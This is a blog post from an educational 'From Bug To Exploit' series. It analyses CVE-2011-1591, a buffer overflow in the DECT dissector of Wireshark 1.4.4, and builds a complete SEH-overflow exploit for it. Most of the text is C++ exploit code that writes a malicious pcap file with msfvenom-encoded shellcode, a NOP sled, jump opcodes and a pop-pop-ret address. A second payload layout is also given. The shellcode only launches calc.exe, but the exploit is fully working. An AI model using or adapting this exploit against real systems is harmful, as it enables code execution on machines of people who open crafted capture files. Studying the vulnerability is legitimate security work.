[Learning] CVE-2011-1591: Wireshark v1.4.4 RCE — SEH Overflow

First Post:

Last Update:

Word Count:
2.5k

Read Time:
15 min

Introduction

This article is part of my series: From Bug To Exploit.

In this article, I am going to introduce how to exploit Wireshark v1.4.4 with an SEH overflow.

While developing the exploit script, I encountered several issues, which I think are worth documenting since I learned some details that I had not discovered before.

Cause of the Vulnerability

Murmur: This was actually an example from a textbox I was reading. However, neither the book nor the official CVE advisories online provided a complete root-cause analysis of the vulnerability; instead, they just threw around magic numbers (0x2323) out of nowhere. Since I couldn’t find any in-depth breakdown from other researchers, I decided to dive into the source code and analyze it myself in this article. Honestly, this is exactly why I started this series in the first place.

Note: The vulnerable source code is available on my GitHub.

The root-cause is in the dissect_dect() method of epan/dissectors/packet-dect.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif

#include <epan/packet.h>
#include <epan/etypes.h>
#include <string.h>

#define ETHERTYPE_DECT 0x2323 /* move to epan/etypes.h */

/* I omitted unrelavent code here */

struct dect_afield
{
guint8 Header;
guint8 Tail[5];
guint16 RCRC;
};

struct dect_bfield
{
guint8 Data[128];
guint8 Length;
};

/* Thousand lines of code here */

static void dissect_dect(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree)
{
guint16 type;
guint pkt_len;
const guint8 *pkt_ptr;
struct dect_afield pkt_afield;
struct dect_bfield pkt_bfield;

/* Packetpointer */
pkt_len=tvb_length(tvb);

if(pkt_len<=DECT_PACKET_INFO_LEN)
{
col_set_str(pinfo->cinfo, COL_PROTOCOL, "No Data");
return;
}

pkt_ptr=tvb_get_ptr(tvb, DECT_PACKET_INFO_LEN, pkt_len-DECT_PACKET_INFO_LEN);

/* fill A-Field */
pkt_afield.Header=pkt_ptr[0];
memcpy((char*)(&(pkt_afield.Tail)), (char*)(pkt_ptr+1), 5);
pkt_afield.RCRC=(((guint16)pkt_ptr[6])<<8)|pkt_ptr[7];

/* fill B-Field */
if(pkt_len>DECT_PACKET_INFO_LEN+2)
memcpy((char*)(&(pkt_bfield.Data)), (char*)(pkt_ptr+8), pkt_len-5-8);
else
memset((char*)(&(pkt_bfield.Data)), 0, 128);
pkt_bfield.Length=pkt_len-DECT_PACKET_INFO_LEN-8;

/* I omitted unrelavent code here */
}

The structure dect_bfield assigns a fixed memory space for Data[128]. However, the dissect_dect() method does not properly check the length of the data before copying it from pkt_ptr+8 into pkt_bfield.Data:

1
2
3
4
5
6
7
/* fill B-Field */
if(pkt_len>DECT_PACKET_INFO_LEN+2)
memcpy(
(char*)(&(pkt_bfield.Data)), // destination memory space with fixed data size
(char*)(pkt_ptr+8), // location of the source memory space
pkt_len-5-8 // incoming data, can be excessively large.
);

This lack of boundary checking eventually causes a buffer overflow!

Murmur: I have to thank Exploit-DB for preserving the vulnerable source code, which saved me a lot of time.

Buffer Overflow

In this section, I am going to demonstrate how to exploit the application.

I chose to develop the exploit scripts with C++ because I think the struct data type provides a straightforward way to represent the memory layout.

Writing the struct layout for the packet is not that difficult. We can simply use the definitions from Wireshark:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// wiretap/libpcap.h

struct pcap_hdr {
guint16 version_major; /* major version number */
guint16 version_minor; /* minor version number */
gint32 thiszone; /* GMT to local correction */
guint32 sigfigs; /* accuracy of timestamps */
guint32 snaplen; /* max length of captured packets, in octets */
guint32 network; /* data link type */
};

/* "libpcap" record header. */
struct pcaprec_hdr {
guint32 ts_sec; /* timestamp seconds */
guint32 ts_usec; /* timestamp microseconds (nsecs for PCAP_NSEC_MAGIC) */
guint32 incl_len; /* number of octets of packet saved in file */
guint32 orig_len; /* actual length of packet */
};
1
2
3
4
5
6
7
// dissectors/packet-eth.h

typedef struct _eth_hdr {
address dst;
address src;
guint16 type;
} eth_hdr;

Therefore, we can write our first exploit script to crash the application:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
// dos.cpp

#include <string>
#include <iostream>
#include <fstream>
#include <cstdint>

size_t const ETHER_ADDR_LEN = 6;

std::string const TEMPLATE_FILE = "template.pcap";
std::string const EXPLOIT_FILE = "exploit.pcap";

#pragma pack(push, 1)

struct pcap_hdr_s
{
uint32_t magic_number;
uint16_t version_major;
uint16_t version_minor;
int32_t thiszone;
uint32_t sigfigs;
uint32_t snaplen;
uint32_t network;
};

struct pcaprec_hdr_s
{
uint32_t ts_sec;
uint32_t ts_usec;
uint32_t incl_len;
uint32_t orig_len;
};

struct ether_hdr_s
{
uint8_t ether_dhost[ETHER_ADDR_LEN];
uint8_t ether_shost[ETHER_ADDR_LEN];
uint16_t ether_type;
};

#pragma pack(pop)

int main(int argc, char *argv[])
{
pcap_hdr_s global_header;
pcaprec_hdr_s packet_header;
ether_hdr_s ether_header;

std::string exploit(2000, 'A');

std::ifstream fin(TEMPLATE_FILE, std::ios::binary);
if (!fin)
{
std::cerr << "Failed to open templatefile" << std::endl;
return 1;
}

fin.read(reinterpret_cast<char*>(&global_header), sizeof(global_header));
fin.read(reinterpret_cast<char*>(&packet_header), sizeof(packet_header));
fin.read(reinterpret_cast<char*>(&ether_header), sizeof(ether_header));

packet_header.incl_len = packet_header.orig_len = sizeof(ether_header) + exploit.size();
ether_header.ether_type = 0x2323;

std::ofstream fout(EXPLOIT_FILE, std::ios::binary);
if (!fout)
{
std::cerr << "Failed to generate file: " << EXPLOIT_FILE << std::endl;
return 1;
}

fout.write(reinterpret_cast<char*>(&global_header), sizeof(global_header));
fout.write(reinterpret_cast<char*>(&packet_header), sizeof(packet_header));
fout.write(reinterpret_cast<char*>(&ether_header), sizeof(ether_header));
fout << exploit;

std::cout << "File has been built: " << EXPLOIT_FILE << std::endl;

return 0;
}

Note: The template.pcap is available on my GitHub.

Here, I want to explain this code in case my readers are not familiar with C++.

The #pragma pack directive forces the compiler to adjust the alignment of structure members, allowing us to control the structure layout and achieve and accurate 1-to-1 mapping between the structure and the raw binary data.

By default, compilers align data in memory based on the target architecture and ABI to optimize memory access.

If a struct contains a mixture of data types, such as uint16_t (2 bytes) and uint32_t (4 bytes), the compiler may insert additional bytes, known as padding, between or after fields to satisfy the required alignment. While this is useful for performace, it can cause problems when a structure is intended to represent a raw binary format.

The push saves (pushes) the compiler’s current default alignment state onto an internal stack so it can be restored later without affecting other parts of the code.

The value 1 packs all subsequent structures to a 1-byte alignment. This means that no additional padding is inserted between field. When one field ends, the next field begins immediately.

The pop restores (pops) the compiler’s previous alignment settings, returning to standard behavior for the rest of our codebase.

Without this approach:

1
2
3
4
5
6
struct ether_hdr_s
{
uint8_t ether_dhost[6]; // 6 Bytes
uint8_t ether_shost[6]; // 6 Bytes
uint16_t ether_type; // 2 Bytes
};

The compiler may insert additional padding depending on the alignment requirements of the structure. As a result, the structure’s memory layout may not match the binary layout expected by the .pcap format, causing problems when Wireshark attempts to parse the generated file.

In my textbook, however, the author implemented the alignment as follows:

1
2
3
4
5
6
typedef __declspec(align(1)) struct ether_hdr_s
{
uint8_t ether_dhost[6]; // 6 Bytes
uint8_t ether_shost[6]; // 6 Bytes
uint16_t ether_type; // 2 Bytes
} ether_hdr_t;

However, after checking the description of MSDN, I believe this is a misuse of __declspec(align(#)).

Original quote from MSDN: The sizeof value for any structure is the offset of the final member, plus that member’s size, rounded up to the nearest multiple of the largest member alignment value or the whole structure alignment value, whichever is larger. __declspec(align(#)) can only increase alignment restrictions.

Therefore, if we do not want any padding in a struct, then we should use #pragma pack(push, 1) instead of __declspec(align(1)).

Now, back to the exploitation.

As in the previous articles, we can use mona to find the exact offset of NSEH, which is 1239.

Then, we can demonstrate it with a DEADBEEF PoC script:

1
2
3
4
5
6
7
int offset_nseh = 1239;
int offset_seh = offset_nseh + 4;

std::string exploit(offset_nseh, 'A');

unsigned int val = 0xDEADBEEF;
exploit.append(reinterpret_cast<char*>(&val), sizeof(val));

Therefore, we can use shellcode with the same design as the previous article:

The completed exploit script can be implemented as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
// exploit.cpp
// Author: iss4cf0ng/ISSAC
// GitHub: https://github.com/iss4cf0ng/Nday-ToyStore

#include <iostream>
#include <fstream>
#include <cstdint>
#include <vector>

size_t const ETHER_ADDR_LEN = 6;

std::string const TEMPLATE_FILE = "template.pcap";
std::string const EXPLOIT_FILE = "exploit.pcap";

#pragma pack(push, 1)

struct pcap_hdr_s
{
uint32_t magic_number;
uint16_t version_major;
uint16_t version_minor;
int32_t thiszone;
uint32_t sigfigs;
uint32_t snaplen;
uint32_t network;
};

struct pcaprec_hdr_s
{
uint32_t ts_sec;
uint32_t ts_usec;
uint32_t incl_len;
uint32_t orig_len;
};

struct ether_hdr_s
{
uint8_t ether_dhost[ETHER_ADDR_LEN];
uint8_t ether_shost[ETHER_ADDR_LEN];
uint16_t ether_type;
};

#pragma pack(pop)

// msfvenom -p windows/exec CMD=calc.exe -f c -e x86/shikata_ga_nai -v shellcode -i 3 -b "\x00\x0a\x0d"
std::vector<uint8_t> shellcode = {
0xda, 0xd0, 0xd9, 0x74, 0x24, 0xf4, 0xbb, 0x7b, 0x4e, 0xec, 0x7c, 0x5a, 0x29, 0xc9,
0xb1, 0x3e, 0x31, 0x5a, 0x1a, 0x83, 0xea, 0xfc, 0x03, 0x5a, 0x16, 0xe2, 0x8e, 0x97,
0x24, 0xc4, 0x9f, 0xa7, 0x55, 0xa3, 0x86, 0xcc, 0xb1, 0x38, 0x63, 0x06, 0x73, 0x71,
0xab, 0x69, 0xc0, 0x65, 0x48, 0x62, 0x3a, 0x8a, 0xe2, 0xe9, 0xc1, 0xee, 0x12, 0x65,
0xdd, 0x08, 0xca, 0x09, 0xc0, 0xc1, 0x0b, 0xcd, 0xeb, 0x62, 0x43, 0x1b, 0x57, 0x36,
0x5a, 0xf5, 0x12, 0xb0, 0x3b, 0xb2, 0xa3, 0x32, 0x88, 0xd4, 0xa4, 0x52, 0x69, 0xd2,
0x08, 0x63, 0xd6, 0x02, 0xdc, 0x79, 0xa6, 0x93, 0x5d, 0x06, 0x13, 0x31, 0x60, 0xc3,
0xf7, 0x01, 0xab, 0x9e, 0x53, 0x25, 0x21, 0x39, 0x78, 0x5c, 0x10, 0x87, 0x41, 0xe6,
0x53, 0x9f, 0x0c, 0xb3, 0x7a, 0x3e, 0x0c, 0xf8, 0x53, 0xf8, 0x44, 0x2b, 0x8c, 0x59,
0xa1, 0x83, 0x8a, 0xc1, 0xea, 0x5a, 0x39, 0xbb, 0xb3, 0x33, 0x6f, 0x18, 0x78, 0x53,
0xb2, 0x8e, 0x52, 0xac, 0x55, 0x0f, 0x3c, 0xb3, 0xee, 0xd8, 0xbf, 0xc1, 0x9b, 0x83,
0x59, 0xcd, 0x68, 0xd3, 0xed, 0xc2, 0xc3, 0x5a, 0x58, 0x29, 0xd6, 0xa0, 0x3e, 0x6d,
0xc3, 0x20, 0x3a, 0x1d, 0x31, 0x0b, 0x1b, 0xc5, 0x12, 0x09, 0xc3, 0xc7, 0xdb, 0xd7,
0x59, 0x19, 0x19, 0x2a, 0x29, 0xdd, 0x1c, 0x57, 0xfb, 0x03, 0x69, 0x22, 0xcf, 0x4c,
0x52, 0x19, 0xf0, 0x51, 0x57, 0xec, 0x2d, 0x7c, 0x6a, 0xa8, 0xb2, 0x8b, 0x67, 0xe9,
0x84, 0xa2, 0x21, 0x36, 0x7b, 0x57, 0x5c, 0x1e, 0xfb, 0xbe, 0xb5, 0xf8, 0xf8, 0xb1,
0x7d, 0xa5, 0x4c, 0xd3, 0x12, 0xfa, 0x22, 0x7a, 0x0b, 0x43, 0x4b, 0xc2, 0x01, 0x9d,
0x53, 0x26, 0x58, 0x2c, 0x05, 0xa8, 0x92, 0x95, 0xe5, 0x51, 0x39, 0xfd, 0x77, 0x88,
0x6c, 0x54, 0xa2, 0xfe, 0x56, 0x21, 0x10, 0x32, 0x23, 0x60, 0x0c, 0xc9, 0xdb, 0xf7,
0x89, 0x64, 0x78, 0x70, 0xdc, 0x02, 0x04, 0xa7
};

int main(int argc, char *argv[])
{
pcap_hdr_s global_header;
pcaprec_hdr_s packet_header;
ether_hdr_s ether_header;

int offset_nseh = 1239;
int offset_seh = offset_nseh + 4;

std::vector<uint8_t> first_jump = {0xeb, 0xf6, 0x90, 0x90}; // NSEH
std::vector<uint8_t> second_jump = {0xe9, 0xcf, 0xfe, 0xff, 0xff, 0x90, 0x90, 0x90};
std::vector<uint8_t> seh = {0x68, 0x8f, 0xf9, 0x64}; // pop # pop # ret

int nop_size = offset_nseh - shellcode.size() - second_jump.size();
if (nop_size < 0) nop_size = 0;

std::vector<uint8_t> nopsled(nop_size, 0x90);
std::vector<uint8_t> exploit;

exploit.insert(exploit.end(), nopsled.begin(), nopsled.end());
exploit.insert(exploit.end(), shellcode.begin(), shellcode.end());
exploit.insert(exploit.end(), second_jump.begin(), second_jump.end());
exploit.insert(exploit.end(), first_jump.begin(), first_jump.end());
exploit.insert(exploit.end(), seh.begin(), seh.end());

std::ifstream fin(TEMPLATE_FILE, std::ios::binary);
if (!fin)
{
std::cerr << "Failed to open templatefile" << std::endl;
return 1;
}

fin.read(reinterpret_cast<char*>(&global_header), sizeof(global_header));
fin.read(reinterpret_cast<char*>(&packet_header), sizeof(packet_header));
fin.read(reinterpret_cast<char*>(&ether_header), sizeof(ether_header));

packet_header.incl_len = packet_header.orig_len = sizeof(ether_header) + exploit.size();
ether_header.ether_type = 0x2323;

std::ofstream fout(EXPLOIT_FILE, std::ios::binary);
if (!fout)
{
std::cerr << "Failed to generate file: " << EXPLOIT_FILE << std::endl;
return 1;
}

fout.write(reinterpret_cast<char*>(&global_header), sizeof(global_header));
fout.write(reinterpret_cast<char*>(&packet_header), sizeof(packet_header));
fout.write(reinterpret_cast<char*>(&ether_header), sizeof(ether_header));
fout.write(reinterpret_cast<char*>(exploit.data()), exploit.size());

std::cout << "File has been built: " << EXPLOIT_FILE << std::endl;

return 0;
}

Other

In this section, I will discuss a few issues I encountered an present an alternative shellcode implementation.

While developing the NASM jump code, I saved first_jump.asm as follows:

1
jmp -0x12c

The exploit kept failing, and calc.exe did not show up.

After debuggin with Immunity Debugger, I found that the SEH value was not overwritten as anticipated. I then changed first_jump.asm to:

1
2
[BITS 32]
jmp -0x12c

Then calc.exe DID show up.

This produced a different opcode because NASM defaults to treating the source code as 16-bit (though this may depend on your environment and configuration). We need the [BITS 32] directive to specify a 32-bit program.

Another issue involved std::string. My original implementation looked like this:

1
std::string first_jump("\x12\x34\x56\x78");

Once again, the SEH and NSEH values were not overwritten correctly. Switching all the data to std::vector resolved the problem. In short, I recommend using std::vector instead of std::string for raw binary payloads, much like using byte strings (b’\x12\x34\x56\x78’) in Python.

Finally, let’s look at another shellcode implementation.

In the previous article, I mentioned that SEH can be used if the stack does not have enough space. However, if there is sufficient space to perform an SEH overflow, a single jump is enough. The shellcode layout is shown below:

Therefore, the exploit script can be implemented like this:

1
2
3
4
5
6
7
8
9
10
11
std::vector<uint8_t> nop1(offset_nseh, 0x90);
std::vector<uint8_t> next = {0xeb, 0x0a, 0x90, 0x90}; // jmp short 0x0c # nop # nop
std::vector<uint8_t> seh = {0x68, 0x8f, 0xf9, 0x64}; // pop # pop # ret
std::vector<uint8_t> nop2(60, 0x90);

std::vector<uint8_t> exploit;
exploit.insert(exploit.end(), nop1.begin(), nop1.end());
exploit.insert(exploit.end(), next.begin(), next.end());
exploit.insert(exploit.end(), seh.begin(), seh.end());
exploit.insert(exploit.end(), nop2.begin(), nop2.end());
exploit.insert(exploit.end(), shellcode.begin(), shellcode.end());

This achieves the exact same result!

Conclusion

In this article, I walked through an example of an SEH overflow by exploiting Wireshark v1.4.4.

I first investigated the root cause of CVE-2011-1591 by reviewing the vulnerable source code. I then discussed an alternative shellcode implementation and some of the hurdles I encountered along the way.

Honestly, studying the Wireshark v1.4.4 vulnerability taught me a great deal.

In the next article, I will dive into the Egg Hunter technique!

That’s all for this article. If you have any comments or suggestions, please feel free to leave them below.

THANKS FOR READING

I drew another drawing!

ガーベラの花言葉:希望・前向き・常に前進